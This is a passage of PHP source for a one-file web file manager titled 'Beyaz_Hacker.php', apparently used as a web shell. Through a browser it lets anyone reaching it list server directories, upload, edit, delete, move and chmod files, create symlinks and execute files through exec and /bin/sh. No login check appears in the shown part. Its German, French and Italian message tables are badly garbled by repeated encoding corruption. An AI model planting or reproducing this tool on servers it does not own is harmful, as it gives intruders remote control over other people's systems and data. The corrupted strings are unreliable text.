		<input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
		<label for="checkbox_relative">' . word('relative') . '</label>
		<input type="hidden" name="action" value="create_symlink" />
		<input type="hidden" name="file" value="' . html($file) . '" />
		<input type="hidden" name="dir" value="' . html($directory) . '" />
	</td>
</tr>
<tr>
	<td>' . word('symlink') . ': </td>
	<td>
		<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
		<input type="submit" value="' . word('create_symlink') . '" />
	</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

		html_footer();

	}

	break;

case 'edit':

	if (!empty($_POST['save'])) {

		$content = str_replace("\r\n", "\n", $_POST['content']);

		if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
			listing_page(notice('saved', $file));
		} else {
			listing_page(error('not_saved', $file));
		}

	} else {

		if (@is_readable($file) && @is_writable($file)) {
			edit($file);
		} else {
			listing_page(error('not_edited', $file));
		}

	}

	break;

case 'permission':

	if (!empty($_POST['set'])) {

		$mode = 0;
		if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
		if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
		if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;

		if (@chmod($file, $mode)) {
			listing_page(notice('permission_set', $file, decoct($mode)));
		} else {
			listing_page(error('permission_not_set', $file, decoct($mode)));
		}

	} else {

		html_header();

		$mode = fileperms($file);

		echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">

	<p style="margin: 0">' . phrase('permission_for', $file) . '</p>

	<hr />

	<table id="permission">
	<tr>
		<td></td>
		<td style="border-right: 1px solid black">' . word('owner') . '</td>
		<td style="border-right: 1px solid black">' . word('group') . '</td>
		<td>' . word('other') . '</td>
	</tr>
    
	<tr>
		<td style="text-align: right">' . word('read') . ':</td>
		<td><input type="checkbox" name="ur" value="1"'; if ($mode & 00400) echo ' checked="checked"'; echo ' /></td>
		<td><input type="checkbox" name="gr" value="1"'; if ($mode & 00040) echo ' checked="checked"'; echo ' /></td>
		<td><input type="checkbox" name="or" value="1"'; if ($mode & 00004) echo ' checked="checked"'; echo ' /></td>
	</tr>
	<tr>
		<td style="text-align: right">' . word('write') . ':</td>
		<td><input type="checkbox" name="uw" value="1"'; if ($mode & 00200) echo ' checked="checked"'; echo ' /></td>
		<td><input type="checkbox" name="gw" value="1"'; if ($mode & 00020) echo ' checked="checked"'; echo ' /></td>
		<td><input type="checkbox" name="ow" value="1"'; if ($mode & 00002) echo ' checked="checked"'; echo ' /></td>
	</tr>
	<tr>
		<td style="text-align: right">' . word('execute') . ':</td>
		<td><input type="checkbox" name="ux" value="1"'; if ($mode & 00100) echo ' checked="checked"'; echo ' /></td>
		<td><input type="checkbox" name="gx" value="1"'; if ($mode & 00010) echo ' checked="checked"'; echo ' /></td>
		<td><input type="checkbox" name="ox" value="1"'; if ($mode & 00001) echo ' checked="checked"'; echo ' /></td>
	</tr>
	</table>

	<hr />

	<input type="submit" name="set" value="' . word('set') . '" />

	<input type="hidden" name="action" value="permission" />
	<input type="hidden" name="file" value="' . html($file) . '" />
	<input type="hidden" name="dir" value="' . html($directory) . '" />

</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

		html_footer();

	}

	break;

default:

	listing_page();

}

/* ------------------------------------------------------------------------- */

function getlist ($directory) {
	global $delim, $win;

	if ($d = @opendir($directory)) {

		while (($filename = @readdir($d)) !== false) {

			$path = $directory . $filename;

			if ($stat = @lstat($path)) {

				$file = array(
					'filename'    => $filename,
					'path'        => $path,
					'is_file'     => @is_file($path),
					'is_dir'      => @is_dir($path),
					'is_link'     => @is_link($path),
					'is_readable' => @is_readable($path),
					'is_writable' => @is_writable($path),
					'size'        => $stat['size'],
					'permission'  => $stat['mode'],
					'owner'       => $stat['uid'],
					'group'       => $stat['gid'],
					'mtime'       => @filemtime($path),
					'atime'       => @fileatime($path),
					'ctime'       => @filectime($path)
				);

				if ($file['is_dir']) {
					$file['is_executable'] = @file_exists($path . $delim . '.');
				} else {
					if (!$win) {
						$file['is_executable'] = @is_executable($path);
					} else {
						$file['is_executable'] = true;
					}
				}

				if ($file['is_link']) $file['target'] = @readlink($path);

				if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
				if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));

				$files[] = $file;

			}

		}

		return $files;

	} else {
		return false;
	}

}

function sortlist ($list, $key, $reverse) {

	$dirs = array();
	$files = array();
	
	for ($i = 0; $i < sizeof($list); $i++) {
		if ($list[$i]['is_dir']) $dirs[] = $list[$i];
		else $files[] = $list[$i];
	}

	quicksort($dirs, 0, sizeof($dirs) - 1, $key);
	if ($reverse) $dirs = array_reverse($dirs);

	quicksort($files, 0, sizeof($files) - 1, $key);
	if ($reverse) $files = array_reverse($files);

	return array_merge($dirs, $files);

}

function quicksort (&$array, $first, $last, $key) {

	if ($first < $last) {

		$cmp = $array[floor(($first + $last) / 2)][$key];

		$l = $first;
		$r = $last;

		while ($l <= $r) {

			while ($array[$l][$key] < $cmp) $l++;
			while ($array[$r][$key] > $cmp) $r--;

			if ($l <= $r) {

				$tmp = $array[$l];
				$array[$l] = $array[$r];
				$array[$r] = $tmp;

				$l++;
				$r--;

			}

		}

		quicksort($array, $first, $r, $key);
		quicksort($array, $l, $last, $key);

	}

}

function permission_octal2string ($mode) {

	if (($mode & 0xC000) === 0xC000) {
		$type = 's';
	} elseif (($mode & 0xA000) === 0xA000) {
		$type = 'l';
	} elseif (($mode & 0x8000) === 0x8000) {
		$type = '-';
	} elseif (($mode & 0x6000) === 0x6000) {
		$type = 'b';
	} elseif (($mode & 0x4000) === 0x4000) {
		$type = 'd';
	} elseif (($mode & 0x2000) === 0x2000) {
		$type = 'c';
	} elseif (($mode & 0x1000) === 0x1000) {
		$type = 'p';
	} else {
		$type = '?';
	}

	$owner  = ($mode & 00400) ? 'r' : '-';
	$owner .= ($mode & 00200) ? 'w' : '-';
	if ($mode & 0x800) {
		$owner .= ($mode & 00100) ? 's' : 'S';
	} else {
		$owner .= ($mode & 00100) ? 'x' : '-';
	}

	$group  = ($mode & 00040) ? 'r' : '-';
	$group .= ($mode & 00020) ? 'w' : '-';
	if ($mode & 0x400) {
		$group .= ($mode & 00010) ? 's' : 'S';
	} else {
		$group .= ($mode & 00010) ? 'x' : '-';
	}

	$other  = ($mode & 00004) ? 'r' : '-';
	$other .= ($mode & 00002) ? 'w' : '-';
	if ($mode & 0x200) {
		$other .= ($mode & 00001) ? 't' : 'T';
	} else {
		$other .= ($mode & 00001) ? 'x' : '-';
	}

	return $type . $owner . $group . $other;

}

function is_script ($filename) {
	return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename);
}

function getmimetype ($filename) {
	static $mimes = array(
		'\.jpg$|\.jpeg$'  => 'image/jpeg',
		'\.gif$'          => 'image/gif',
		'\.png$'          => 'image/png',
		'\.html$|\.html$' => 'text/html',
		'\.txt$|\.asc$'   => 'text/plain',
		'\.xml$|\.xsl$'   => 'application/xml',
		'\.pdf$'          => 'application/pdf'
	);

	foreach ($mimes as $regex => $mime) {
		if (eregi($regex, $filename)) return $mime;
	}

	// return 'application/octet-stream';
	return 'text/plain';

}

function del ($file) {
	global $delim;

	if (!file_exists($file)) return false;

	if (@is_dir($file) && !@is_link($file)) {

		$success = false;

		if (@rmdir($file)) {

			$success = true;

		} elseif ($dir = @opendir($file)) {

			$success = true;

			while (($f = readdir($dir)) !== false) {
				if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
					$success = false;
				}
			}
			closedir($dir);

			if ($success) $success = @rmdir($file);

		}

		return $success;

	}

	return @unlink($file);

}

function addslash ($directory) {
	global $delim;

	if (substr($directory, -1, 1) != $delim) {
		return $directory . $delim;
	} else {
		return $directory;
	}

}

function relative2absolute ($string, $directory) {

	if (path_is_relative($string)) {
		return simplify_path(addslash($directory) . $string);
	} else {
		return simplify_path($string);
	}

}

function path_is_relative ($path) {
	global $win;

	if ($win) {
		return (substr($path, 1, 1) != ':');
	} else {
		return (substr($path, 0, 1) != '/');
	}

}

function absolute2relative ($directory, $target) {
	global $delim;

	$path = '';
	while ($directory != $target) {
		if ($directory == substr($target, 0, strlen($directory))) {
			$path .= substr($target, strlen($directory));
			break;
		} else {
			$path .= '..' . $delim;
			$directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
		}
	}
	if ($path == '') $path = '.';

	return $path;

}

function simplify_path ($path) {
	global $delim;

	if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
		$path = realpath($path);
		if (@is_dir($path)) {
			return addslash($path);
		} else {
			return $path;
		}
	}

	$pattern  = $delim . '.' . $delim;

	if (@is_dir($path)) {
		$path = addslash($path);
	}

	while (strpos($path, $pattern) !== false) {
		$path = str_replace($pattern, $delim, $path);
	}

	$e = addslashes($delim);
	$regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e;

	while (ereg($regex, $path)) {
		$path = ereg_replace($regex, $delim, $path);
	}
	
	return $path;

}

function human_filesize ($filesize) {

	$suffices = 'kMGTPE';

	$n = 0;
	while ($filesize >= 1000) {
		$filesize /= 1024;
		$n++;
	}

	$filesize = round($filesize, 3 - strpos($filesize, '.'));

	if (strpos($filesize, '.') !== false) {
		while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
			$filesize = substr($filesize, 0, strlen($filesize) - 1);
		}
	}

	$suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));

	return $filesize . " {$suffix}B";

}

function strip (&$str) {
	$str = stripslashes($str);
}

/* ------------------------------------------------------------------------- */

function listing_page ($message = null) {
	global $self, $directory, $sort, $reverse;

	html_header();

	$list = getlist($directory);

	if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';
	if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;

	$list = sortlist($list, $sort, $reverse);

	echo '<h1 style="margin-bottom: 0">Beyaz_Hacker.php</h1>

<form enctype="multipart/form-data" action="' . $self . '" method="post">

<table id="main">
';

	directory_choice();

	if (!empty($message)) {
		spacer();
		echo $message;
	}

	if (@is_writable($directory)) {
		upload_box();
		create_box();
	} else {
		spacer();
	}

	if ($list) {
		listing($list);
	} else {
		echo error('not_readable', $directory);
	}

	echo '</table>

</form>

';

	html_footer();

}

function listing ($list) {
	global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;

	echo '<tr class="listing">
	<th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
';

	column_title('filename', $sort, $reverse);
	column_title('size', $sort, $reverse);

	if (!$win) {
		column_title('permission', $sort, $reverse);
		column_title('owner', $sort, $reverse);
		column_title('group', $sort, $reverse);
	}

	echo '	<th class="functions">' . word('functions') . '</th>
</tr>
';

	for ($i = 0; $i < sizeof($list); $i++) {
		$file = $list[$i];

		$timestamps  = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
		$timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
		$timestamps .= 'ctime: ' . date($date_format, $file['ctime']);

		echo '<tr class="listing">
	<td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
	<td class="filename" title="' . html($timestamps) . '">';

		if ($file['is_link']) {

			echo '<img src="' . $self . '?image=link" alt="link" /> ';
			echo html($file['filename']) . ' &rarr; ';

			$real_file = relative2absolute($file['target'], $directory);

			if (@is_readable($real_file)) {
				if (@is_dir($real_file)) {
					echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
				} else {
					echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';
				}
			} else {
				echo html($file['target']);
			}

		} elseif ($file['is_dir']) {

			echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';
			if ($win || $file['is_executable']) {
				echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
			} else {
				echo html($file['filename']);
			}
			echo ' ]';

		} else {

			if (substr($file['filename'], 0, 1) == '.') {
				echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
			} else {
				echo '<img src="' . $self . '?image=file" alt="file" /> ';
			}

			if ($file['is_file'] && $file['is_readable']) {
			   echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
			} else {
				echo html($file['filename']);
			}

		}

		if ($file['size'] >= 1000) {
			$human = ' title="' . human_filesize($file['size']) . '"';
		} else {
			$human = '';
		}

		echo "</td>\n";

		echo "\t<td class=\"size\"$human>{$file['size']} B</td>\n";

		if (!$win) {

			echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';

			$l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
			if ($l) echo '<a href="' . $self . '?action=permission&amp;file=' . urlencode($file['path']) . '&amp;dir=' . urlencode($directory) . '">';
			echo html(permission_octal2string($file['permission']));
			if ($l) echo '</a>';

			echo "</td>\n";

			if (array_key_exists('owner_name', $file)) {
				echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n";
			} else {
				echo "\t<td class=\"owner\">{$file['owner']}</td>\n";
			}

			if (array_key_exists('group_name', $file)) {
				echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n";
			} else {
				echo "\t<td class=\"group\">{$file['group']}</td>\n";
			}

		}

		echo '	<td class="functions">
		<input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
';

		$actions = array();
		if (function_exists('symlink')) {
			$actions[] = 'create_symlink';
		}
		if (@is_writable(dirname($file['path']))) {
			$actions[] = 'delete';
			$actions[] = 'rename';
			$actions[] = 'move';
		}
		if ($file['is_file'] && $file['is_readable']) {
			$actions[] = 'copy';
			$actions[] = 'download';
			if ($file['is_writable']) $actions[] = 'edit';
		}
		if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
			$actions[] = 'execute';
		}

		if (sizeof($actions) > 0) {

			echo '		<select class="small" name="action' . $i . '" size="1">
		<option value="">' . str_repeat('&nbsp;', 30) . '</option>
';

			foreach ($actions as $action) {
				echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
			}

			echo '		</select>
		<input class="small" type="submit" name="submit' . $i . '" value=" &gt; " onfocus="activate(\'other\')" />
';

		}

		echo '	</td>
</tr>
';

	}

	echo '<tr class="listing_footer">
	<td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt="&gt;" /></td>
	<td colspan="' . ($cols - 1) . '">
		<input type="hidden" name="num" value="' . sizeof($list) . '" />
		<input type="hidden" name="focus" value="" />
		<input type="hidden" name="olddir" value="' . html($directory) . '" />
';

	$actions = array();
	if (@is_writable(dirname($file['path']))) {
		$actions[] = 'delete';
		$actions[] = 'move';
	}
	$actions[] = 'copy';

	echo '		<select class="small" name="action_all" size="1">
		<option value="">' . str_repeat('&nbsp;', 30) . '</option>
';

	foreach ($actions as $action) {
		echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
	}

	echo '		</select>
		<input class="small" type="submit" name="submit_all" value=" &gt; " onfocus="activate(\'other\')" />
	</td>
</tr>
';

}

function column_title ($column, $sort, $reverse) {
	global $self, $directory;

	$d = 'dir=' . urlencode($directory) . '&amp;';

	if ($sort == $column) {
		if (!$reverse) {
			$r = '&amp;reverse=true';
			$arr = ' &and;';
		} else {
			$arr = ' &or;';
		}
	} else {
		$r = '';
	}
	echo "\t<th class=\"$column\"><a href=\"$self?{$d}sort=$column$r\">" . word($column) . "</a>$arr</th>\n";

}

function directory_choice () {
	global $directory, $homedir, $cols, $self;

	echo '<tr>
	<td colspan="' . $cols . '" id="directory">
		<a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>:
		<input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
		<input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" />
	</td>
</tr>
';

}

function upload_box () {
	global $cols;

	echo '<tr>
	<td colspan="' . $cols . '" id="upload">
		' . word('file') . ':
		<input type="file" name="upload" onfocus="activate(\'other\')" />
		<input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" />
	</td>
</tr>
';

}

function create_box () {
	global $cols;

	echo '<tr>
	<td colspan="' . $cols . '" id="create">
		<select name="create_type" size="1" onfocus="activate(\'create\')">
		<option value="file">' . word('file') . '</option>
		<option value="directory">' . word('directory') . '</option>
		</select>
		<input type="text" name="create_name" onfocus="activate(\'create\')" />
		<input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
	</td>
</tr>
';

}

function edit ($file) {
	global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;

	html_header();

	echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>

<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">

	<textarea name="content" cols="' . $editcols . '" rows="' . $editrows . '" WRAP="off">';

	if (array_key_exists('content', $_POST)) {
		echo $_POST['content'];
	} else {
		$f = fopen($file, 'r');
		while (!feof($f)) {
			echo html(fread($f, 8192));
		}
		fclose($f);
	}

	if (!empty($_POST['user'])) {
		echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);
	}
	if (!empty($_POST['basic_auth'])) {
		if ($win) {
			$authfile = str_replace('\\', '/', $directory) . $htpasswd;
		} else {
			$authfile = $directory . $htpasswd;
		}
		echo "\nAuthType Basic\nAuthName &quot;Restricted Directory&quot;\n";
		echo 'AuthUserFile &quot;' . html($authfile) . "&quot;\n";
		echo 'Require valid-user';
	}

	echo '</textarea>

	<hr />
';

	if ($apache && basename($file) == $htpasswd) {
		echo '
	' . word('user') . ': <input type="text" name="user" />
	' . word('password') . ': <input type="password" name="password" />
	<input type="submit" value="' . word('add') . '" />

	<hr />
';

	}

	if ($apache && basename($file) == $htaccess) {
		echo '
	<input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />

	<hr />
';

	}

	echo '
	<input type="hidden" name="action" value="edit" />
	<input type="hidden" name="file" value="' . html($file) . '" />
	<input type="hidden" name="dir" value="' . html($directory) . '" />
	<input type="reset" value="' . word('reset') . '" id="red_button" />
	<input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />

</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

	html_footer();

}

function spacer () {
	global $cols;

	echo '<tr>
	<td colspan="' . $cols . '" style="height: 1em"></td>
</tr>
';

}

function textfieldsize ($content) {

	$size = strlen($content) + 5;
	if ($size < 30) $size = 30;

	return $size;

}

function request_dump () {

	foreach ($_REQUEST as $key => $value) {
		echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n";
	}

}

/* ------------------------------------------------------------------------- */

function html ($string) {
	global $site_charset;
	return htmlentities($string, ENT_COMPAT, $site_charset);
}

function word ($word) {
	global $words, $word_charset;
	return htmlentities($words[$word], ENT_COMPAT, $word_charset);
}

function phrase ($phrase, $arguments) {
	global $words;
	static $search;

	if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i";

	for ($i = 0; $i < sizeof($arguments); $i++) {
		$arguments[$i] = nl2br(html($arguments[$i]));
	}

	$replace = array('{' => '<pre>', '}' =>'</pre>', '[' => '<b>', ']' => '</b>');

	return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));

}

function getwords ($lang) {
	global $word_charset, $date_format;

	switch ($lang) {
	case 'de':

		$date_format = 'd.m.y H:i:s';
		$word_charset = 'ISO-8859-1';

		return array(
'directory' => 'Verzeichnis',
'file' => 'Datei',
'filename' => 'Dateiname',

'size' => 'Gr����¯�¿�½������¶����¯�¿�½���¯���¿���½e',
'permission' => 'Rechte',
'owner' => 'Eigner',
'group' => 'Gruppe',
'other' => 'Andere',
'functions' => 'Funktionen',

'read' => 'lesen',
'write' => 'schreiben',
'execute' => 'ausf����¯�¿�½������¼hren',

'create_symlink' => 'Symlink erstellen',
'delete' => 'l����¯�¿�½������¶schen',
'rename' => 'umbenennen',
'move' => 'verschieben',
'copy' => 'kopieren',
'edit' => 'editieren',
'download' => 'herunterladen',
'upload' => 'hochladen',
'create' => 'erstellen',
'change' => 'wechseln',
'save' => 'speichern',
'set' => 'setze',
'reset' => 'zur����¯�¿�½������¼cksetzen',
'relative' => 'Pfad zum Ziel relativ',

'yes' => 'Ja',
'no' => 'Nein',
'back' => 'zur����¯�¿�½������¼ck',
'destination' => 'Ziel',
'symlink' => 'Symbolischer Link',
'no_output' => 'keine Ausgabe',

'user' => 'Benutzername',
'password' => 'Kennwort',
'add' => 'hinzuf����¯�¿�½������¼gen',
'add_basic_auth' => 'HTTP-Basic-Auth hinzuf����¯�¿�½������¼gen',

'uploaded' => '"[%1]" wurde hochgeladen.',
'not_uploaded' => '"[%1]" konnte nicht hochgeladen werden.',
'already_exists' => '"[%1]" existiert bereits.',
'created' => '"[%1]" wurde erstellt.',
'not_created' => '"[%1]" konnte nicht erstellt werden.',
'really_delete' => 'Sollen folgende Dateien wirklich gel����¯�¿�½������¶scht werden?',
'deleted' => "Folgende Dateien wurden gel����¯�¿�½������¶scht:\n[%1]",
'not_deleted' => "Folgende Dateien konnten nicht gel����¯�¿�½������¶scht werden:\n[%1]",
'rename_file' => 'Benenne Datei um:',
'renamed' => '"[%1]" wurde in "[%2]" umbenannt.',
'not_renamed' => '"[%1] konnte nicht in "[%2]" umbenannt werden.',
'move_files' => 'Verschieben folgende Dateien:',
'moved' => "Folgende Dateien wurden nach \"[%2]\" verschoben:\n[%1]",
'not_moved' => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\n[%1]",
'copy_files' => 'Kopiere folgende Dateien:',
'copied' => "Folgende Dateien wurden nach \"[%2]\" kopiert:\n[%1]",
'not_copied' => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\n[%1]",
'not_edited' => '"[%1]" kann nicht editiert werden.',
'executed' => "\"[%1]\" wurde erfolgreich ausgef����¯�¿�½������¼hrt:\n{%2}",
'not_executed' => "\"[%1]\" konnte nicht erfolgreich ausgef����¯�¿�½������¼hrt werden:\n{%2}",
'saved' => '"[%1]" wurde gespeichert.',
'not_saved' => '"[%1]" konnte nicht gespeichert werden.',
'symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" wurde erstellt.',
'not_symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" konnte nicht erstellt werden.',
'permission_for' => 'Rechte f����¯�¿�½������¼r "[%1]":',
'permission_set' => 'Die Rechte f����¯�¿�½������¼r "[%1]" wurden auf [%2] gesetzt.',
'permission_not_set' => 'Die Rechte f����¯�¿�½������¼r "[%1]" konnten nicht auf [%2] gesetzt werden.',
'not_readable' => '"[%1]" kann nicht gelesen werden.'
		);

	case 'fr':

		$date_format = 'd.m.y H:i:s';
		$word_charset = 'ISO-8859-1';

		return array(
'directory' => 'R����¯�¿�½������©pertoire',
'file' => 'Fichier',
'filename' => 'Nom fichier',

'size' => 'Taille',
'permission' => 'Droits',
'owner' => 'Propri����¯�¿�½������©taire',
'group' => 'Groupe',
'other' => 'Autres',
'functions' => 'Fonctions',

'read' => 'Lire',
'write' => 'Ecrire',
'execute' => 'Ex����¯�¿�½������©cuter',

'create_symlink' => 'Cr����¯�¿�½������©er lien symbolique',
'delete' => 'Effacer',
'rename' => 'Renommer',
'move' => 'D����¯�¿�½������©placer',
'copy' => 'Copier',
'edit' => 'Ouvrir',
'download' => 'T����¯�¿�½������©l����¯�¿�½������©charger sur PC',
'upload' => 'T����¯�¿�½������©l����¯�¿�½������©charger sur serveur',
'create' => 'Cr����¯�¿�½������©er',
'change' => 'Changer',
'save' => 'Sauvegarder',
'set' => 'Ex����¯�¿�½������©cuter',
'reset' => 'R����¯�¿�½������©initialiser',
'relative' => 'Relatif',

'yes' => 'Oui',
'no' => 'Non',
'back' => 'Retour',
'destination' => 'Destination',
'symlink' => 'Lien symbollique',
'no_output' => 'Pas de sortie',

'user' => 'Utilisateur',
'password' => 'Mot de passe',
'add' => 'Ajouter',
'add_basic_auth' => 'add basic-authentification',

'uploaded' => '"[%1]" a ����¯�¿�½������©t����¯�¿�½������© t����¯�¿�½������©l����¯�¿�½������©charg����¯�¿�½������© sur le serveur.',
'not_uploaded' => '"[%1]" n a pas ����¯�¿�½������©t����¯�¿�½������© t����¯�¿�½������©l����¯�¿�½������©charg����¯�¿�½������© sur le serveur.',
'already_exists' => '"[%1]" existe d����¯�¿�½������©j����¯�¿�½ .',
'created' => '"[%1]" a ����¯�¿�½������©t����¯�¿�½������© cr����¯�¿�½������©����¯�¿�½������©.',
'not_created' => '"[%1]" n a pas pu ����¯�¿�½������ªtre cr����¯�¿�½������©����¯�¿�½������©.',
'really_delete' => 'Effacer le fichier?',
'deleted' => "Ces fichiers ont ����¯�¿�½������©t����¯�¿�½������© d����¯�¿�½������©tuits:\n[%1]",
'not_deleted' => "Ces fichiers n ont pu ����¯�¿�½������ªtre d����¯�¿�½������©truits:\n[%1]",
'rename_file' => 'Renomme fichier:',
'renamed' => '"[%1]" a ����¯�¿�½������©t����¯�¿�½������© renomm����¯�¿�½������© en "[%2]".',
'not_renamed' => '"[%1] n a pas pu ����¯�¿�½������ªtre renomm����¯�¿�½������© en "[%2]".',
'move_files' => 'D����¯�¿�½������©placer ces fichiers:',
'moved' => "Ces fichiers ont ����¯�¿�½������©t����¯�¿�½������© d����¯�¿�½������©plac����¯�¿�½������©s en \"[%2]\":\n[%1]",
'not_moved' => "Ces fichiers n ont pas pu ����¯�¿�½������ªtre d����¯�¿�½������©plac����¯�¿�½������©s en \"[%2]\":\n[%1]",
'copy_files' => 'Copier ces fichiers:',
'copied' => "Ces fichiers ont ����¯�¿�½������©t����¯�¿�½������© copi����¯�¿�½������©s en \"[%2]\":\n[%1]",
'not_copied' => "Ces fichiers n ont pas pu ����¯�¿�½������ªtre copi����¯�¿�½������©s en \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" ne peut ����¯�¿�½������ªtre ouvert.',
'executed' => "\"[%1]\" a ����¯�¿�½������©t����¯�¿�½������© brillamment ex����¯�¿�½������©cut����¯�¿�½������© :\n{%2}",
'not_executed' => "\"[%1]\" n a pas pu ����¯�¿�½������ªtre ex����¯�¿�½������©cut����¯�¿�½������©:\n{%2}",
'saved' => '"[%1]" a ����¯�¿�½������©t����¯�¿�½������© sauvegard����¯�¿�½������©.',
'not_saved' => '"[%1]" n a pas pu ����¯�¿�½������ªtre sauvegard����¯�¿�½������©.',
'symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" a ����¯�¿�½������©t����¯�¿�½������© cr����¯�¿�½������©e.',
'not_symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" n a pas pu ����¯�¿�½������ªtre cr����¯�¿�½������©����¯�¿�½������©.',
'permission_for' => 'Droits de "[%1]":',
'permission_set' => 'Droits de "[%1]" ont ����¯�¿�½������©t����¯�¿�½������© chang����¯�¿�½������©s en [%2].',
'permission_not_set' => 'Droits de "[%1]" n ont pas pu ����¯�¿�½������ªtre chang����¯�¿�½������©s en[%2].',
'not_readable' => '"[%1]" ne peut pas ����¯�¿�½������ªtre ouvert.'
		);

	case 'it':

		$date_format = 'd-m-Y H:i:s';
		$word_charset = 'ISO-8859-1';

		return array(
'directory' => 'Directory',
'file' => 'File',
'filename' => 'Nome File',

'size' => 'Dimensioni',
'permission' => 'Permessi',
'owner' => 'Proprietario',
'group' => 'Gruppo',
'other' => 'Altro',
'functions' => 'Funzioni',

'read' => 'leggi',
'write' => 'scrivi',
'execute' => 'esegui',

'create_symlink' => 'crea link simbolico',
'delete' => 'cancella',
'rename' => 'rinomina',
'move' => 'sposta',
'copy' => 'copia',
'edit' => 'modifica',
'download' => 'download',
'upload' => 'upload',
'create' => 'crea',
'change' => 'cambia',
'save' => 'salva',
'set' => 'imposta',
'reset' => 'reimposta',
'relative' => 'Percorso relativo per la destinazione',

'yes' => 'Si',
'no' => 'No',
'back' => 'indietro',
'destination' => 'Destinazione',
'symlink' => 'Link simbolico',
'no_output' => 'no output',

'user' => 'User',
'password' => 'Password',
'add' => 'aggiungi',
'add_basic_auth' => 'aggiungi autenticazione base',

'uploaded' => '"[%1]" ����¯�¿�½������¨ stato caricato.',
'not_uploaded' => '"[%1]" non ����¯�¿�½������¨ stato caricato.',
'already_exists' => '"[%1]" esiste gi����¯�¿�½ .',
'created' => '"[%1]" ����¯�¿�½������¨ stato creato.',
'not_created' => '"[%1]" non ����¯�¿�½������¨ stato creato.',
'really_delete' => 'Cancello questi file ?',
'deleted' => "Questi file sono stati cancellati:\n[%1]",
'not_deleted' => "Questi file non possono essere cancellati:\n[%1]",
'rename_file' => 'File rinominato:',
'renamed' => '"[%1]" ����¯�¿�½������¨ stato rinominato in "[%2]".',
